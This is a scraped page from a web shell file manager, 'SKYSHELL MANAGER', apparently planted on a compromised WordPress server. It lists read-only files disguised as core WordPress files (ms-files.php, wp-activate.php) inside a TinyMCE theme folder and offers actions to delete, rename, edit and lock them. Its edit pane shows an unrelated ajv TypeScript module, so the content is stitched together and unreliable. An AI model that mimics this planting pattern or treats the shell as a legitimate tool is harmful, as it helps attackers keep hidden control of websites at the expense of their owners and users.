📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
cstage
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
ms-files.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: typeof.ts
import type {CodeKeywordDefinition, KeywordCxt} from "ajv" import {_} from "ajv/dist/compile/codegen" const TYPES = ["undefined", "string", "number", "object", "function", "boolean", "symbol"] export default function getDef(): CodeKeywordDefinition { return { keyword: "typeof", schemaType: ["string", "array"], code(cxt: KeywordCxt) { const {data, schema, schemaValue} = cxt cxt.fail( typeof schema == "string" ? _`typeof ${data} != ${schema}` : _`${schemaValue}.indexOf(typeof ${data}) < 0` ) }, metaSchema: { anyOf: [ {type: "string", enum: TYPES}, {type: "array", items: {type: "string", enum: TYPES}}, ], }, } } module.exports = getDef
Save